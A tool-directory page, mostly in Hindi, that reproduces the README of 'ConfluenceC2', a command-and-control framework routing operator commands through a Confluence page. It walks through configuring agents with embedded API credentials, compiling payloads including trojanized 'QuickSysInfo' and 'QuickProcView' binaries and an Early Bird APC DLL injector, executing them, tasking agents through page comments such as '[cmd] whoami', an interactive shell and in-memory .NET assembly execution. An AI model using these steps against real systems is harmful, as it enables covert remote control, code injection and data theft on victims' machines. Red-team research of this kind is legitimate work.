Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ConfluenceC2 — यह एक परियोजना है जिसका उद्देश्य हर अन्य SaaS उत्पाद को C2 बनाना है, Confluence तो बस शुरुआत है। | Kitploit
उपकरण/GitHubGitHub/dagowda/confluencec2
स्थायित्व तंत्रपार्श्व आंदोलनस्क्रिप्टिंग और स्वचालनशेलकोडडेटा निष्कासनपोस्ट-शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगपेलोड डेवलपमेंटरिमोट एक्सेस ट्रोजन
132102 दिन पहलेअभी तक समीक्षित नहीं
GitHubdagowda/confluencec2

ConfluenceC2

यह एक परियोजना है जिसका उद्देश्य हर अन्य SaaS उत्पाद को C2 बनाना है, Confluence तो बस शुरुआत है।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Confluence C2

लेखक: Dhanush Arvind

image_alt

पूर्वापेक्षाएँ

Python 3.8+ और requests:

pip install requests

Confluence Cloud खाता जिसमें API टोकन हो (https://id.atlassian.com/manage-profile/security/api-tokens पर जनरेट करें), या Confluence Server क्रेडेंशियल्स

MinGW GCC इनमें से कोई एक:

  • WSL के साथ x86_64-w64-mingw32-gcc (sudo apt install gcc-mingw-w64-x86-64), या
  • Windows पर इंस्टॉल किया गया और PATH में जोड़ा गया नेटिव MinGW-w64

चरण 1: C2 पेज बनाएं या ब्राउज़र का उपयोग करके इसे मैन्युअल रूप से बनाएं

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    setup --space-key MYSPACE

आउटपुट से Page ID सहेजें — नीचे दी गई हर चीज़ के लिए आपको इसकी आवश्यकता होगी।

कस्टम शीर्षक का उपयोग करने के लिए:

python c2_operator.py --url ... --email ... --api-token ... setup --space-key MYSPACE --title "Sprint Retro Notes"

चरण 2: कॉलर को कॉन्फ़िगर करें

अपने Confluence क्रेडेंशियल्स और पेज ID को कॉलर स्रोत में बेक करने के लिए configure.py चलाएँ:

python configure.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --sleep 10000
आर्ग्युमेंटआवश्यकविवरण
--urlहाँConfluence बेस URL
--emailहाँConfluence खाता ईमेल
--api-tokenहाँConfluence API टोकन
--page-idहाँचरण 1 से पेज ID
--sleepनहींबीकन अंतराल मिलीसेकंड में (डिफ़ॉल्ट: 10000)
--outputनहींआउटपुट डायरेक्टरी (डिफ़ॉल्ट: build)
--no-wiki-prefixनहीं/wiki प्रीफ़िक्स छोड़ें (Confluence Server के लिए)
--compileनहींयदि gcc PATH में है तो स्वतः कंपाइल करें

चरण 3: MinGW के साथ कंपाइल करें

विकल्प A: WSL MinGW क्रॉस-कंपाइलर (Windows पर अनुशंसित)

PowerShell से:

# Payload 1: Standalone caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/caller.exe /mnt/c/path/to/build/caller.c -lwinhttp -lws2_32

# Payload 2: Bundled QuickSysInfo
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickSysInfo.exe /mnt/c/path/to/build/caller_bundled.c -lwinhttp -lws2_32 -liphlpapi

# Payload 2 clean: QuickSysInfo without caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickSysInfo_clean.exe /mnt/c/path/to/build/host_app.c -lws2_32 -liphlpapi

# Payload 3/4: Caller as DLL
wsl x86_64-w64-mingw32-gcc -shared -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/caller_inject.dll /mnt/c/path/to/build/caller_dll.c -lwinhttp -lws2_32

# Payload 3: Early Bird APC injector
wsl x86_64-w64-mingw32-gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o /mnt/c/path/to/build/earlybird_inject.exe /mnt/c/path/to/build/earlybird_inject.c

# Payload 4: Bundled QuickProcView
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickProcView.exe /mnt/c/path/to/build/earlybird_bundled.c -lpsapi

# Payload 4 clean: QuickProcView without injection
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickProcView_clean.exe /mnt/c/path/to/build/procview_app.c -lpsapi

/mnt/c/path/to/build को अपने प्रोजेक्ट की build डायरेक्टरी के वास्तविक WSL पथ से बदलें।

विकल्प B: Windows पर नेटिव MinGW

gcc -O2 -o build\caller.exe build\caller.c -lwinhttp -lws2_32
gcc -O2 -DBUNDLED_BUILD -o build\QuickSysInfo.exe build\caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
gcc -O2 -o build\QuickSysInfo_clean.exe build\host_app.c -lws2_32 -liphlpapi
gcc -shared -O2 -DBUNDLED_BUILD -o build\caller_inject.dll build\caller_dll.c -lwinhttp -lws2_32
gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o build\earlybird_inject.exe build\earlybird_inject.c
gcc -O2 -DBUNDLED_BUILD -o build\QuickProcView.exe build\earlybird_bundled.c -lpsapi
gcc -O2 -o build\QuickProcView_clean.exe build\procview_app.c -lpsapi

विकल्प C: configure.py के माध्यम से ऑटो-कंपाइल

python configure.py --url ... --email ... --api-token ... --page-id 12345678 --sleep 10000 --compile

मैन्युअल संकलन के बाद, बाइनरीज़ को payloads/ में कॉपी करें:

copy build\*.exe payloads\
copy build\*.dll payloads\

चरण 4: कॉलर निष्पादित करें

पेलोड 1 : स्टैंडअलोन

payloads\caller.exe

पेलोड 2 : ट्रोजनयुक्त QuickSysInfo

payloads\QuickSysInfo.exe

पेलोड 3 : अर्ली बर्ड DLL इंजेक्शन

दोनों फ़ाइलें एक ही निर्देशिका में होनी चाहिए:

cd payloads
earlybird_inject.exe

पेलोड 4 : ट्रोजनयुक्त QuickProcView

दोनों फ़ाइलें एक ही निर्देशिका में होनी चाहिए:

cd payloads
QuickProcView.exe

चरण 5: संचालन : CLI या Web GUI

विकल्प A: CLI ऑपरेटर (c2_operator.py)

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    list

विकल्प B: वेब GUI (c2_web.py)

python c2_web.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --port 8443

अपने ब्राउज़र में http://127.0.0.1:8443 खोलें।

चरण 6: कमांड भेजें

CLI के माध्यम से : पेज बॉडी

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "whoami"

CLI के माध्यम से : टिप्पणी

# Broadcast to all agents
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask "whoami"

# Target specific agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask --agent 90bd7c8a "whoami"

Web GUI के माध्यम से

Console टैब खोलें। Page Body या Comment मोड चुनें। कमांड टाइप करें, लक्षित एजेंट चुनें, और Send पर क्लिक करें।

ब्राउज़र के माध्यम से (किसी टूल की आवश्यकता नहीं)

C2 पेज पर जाएँ और एक टिप्पणी पोस्ट करें:

[cmd] whoami

किसी विशिष्ट एजेंट को लक्षित करें:

[cmd:90bd7c8a] whoami

इंटरैक्टिव शेल (केवल CLI)

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 interact 90bd7c8a

आउटपुट पढ़ें

# All output
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read

# Filter by agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read 90bd7c8a

.NET Assembly को इन-मेमोरी निष्पादित करें

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 inlineexecute 90bd7c8a C:\path\to\Seatbelt.exe "-group=all"

चरण 7: कॉलर को समाप्त करें

# Via operator script
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "exit"

# Via browser comment
[cmd] exit

# Target specific agent
[cmd:90bd7c8a] exit

चरण 8: सफ़ाई करें

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    cleanup

या Web GUI के माध्यम से: Cleanup टैब खोलें और cleanup बटन पर क्लिक करें।

Caller Commands

टूल डाउनलोड करें